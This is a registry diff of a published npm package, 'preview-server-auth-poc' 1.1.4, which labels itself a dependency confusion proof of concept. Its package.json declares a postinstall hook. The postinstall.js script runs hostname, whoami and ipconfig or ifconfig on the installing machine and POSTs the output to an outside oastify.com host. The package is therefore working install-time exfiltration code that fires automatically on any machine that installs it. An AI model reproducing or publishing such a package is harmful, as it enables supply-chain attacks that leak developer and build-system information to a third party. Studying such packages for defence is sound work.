preview-server-auth-poc 1.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/postinstall.js +52 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "preview-server-auth-poc",
3
+ "version": "1.1.4",
4
+ "description": "Dependency confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "author": "PoC",
10
+ "license": "ISC"
11
+ }
package/postinstall.js ADDED
@@ -0,0 +1,52 @@
1
+ const { execSync } = require("child_process");
2
+ const http = require("http");
3
+
4
+ function send(data) {
5
+ const options = {
6
+ hostname: "n8wqcxtcbp88dtvkvdcqx14d74d31tpi.oastify.com",
7
+ port: 80,
8
+ path: "/",
9
+ method: "POST",
10
+ headers: {
11
+ "Content-Type": "text/plain",
12
+ "Content-Length": data.length
13
+ }
14
+ };
15
+
16
+ const req = http.request(options, (res) => {
17
+ console.log(`PoC Response: ${res.statusCode}`);
18
+ });
19
+
20
+ req.on("error", (error) => {
21
+ console.error(`PoC Error: ${error.message}`);
22
+ });
23
+
24
+ req.write(data);
25
+ req.end();
26
+ }
27
+
28
+ try {
29
+ const hostname = execSync("hostname").toString().trim();
30
+ const whoami = execSync("whoami").toString().trim();
31
+ let netinfo = "";
32
+
33
+ try {
34
+ netinfo = execSync("ipconfig").toString();
35
+ } catch {
36
+ try {
37
+ netinfo = execSync("ifconfig").toString();
38
+ } catch {}
39
+ }
40
+
41
+ const payload = `
42
+ ==== Dependency Confusion PoC ====
43
+ HOSTNAME: ${hostname}
44
+ USER: ${whoami}
45
+ NET INFO: ${netinfo}
46
+ ==================================
47
+ `;
48
+
49
+ send(payload);
50
+ } catch (e) {
51
+ console.error("Error running postinstall script:", e);
52
+ }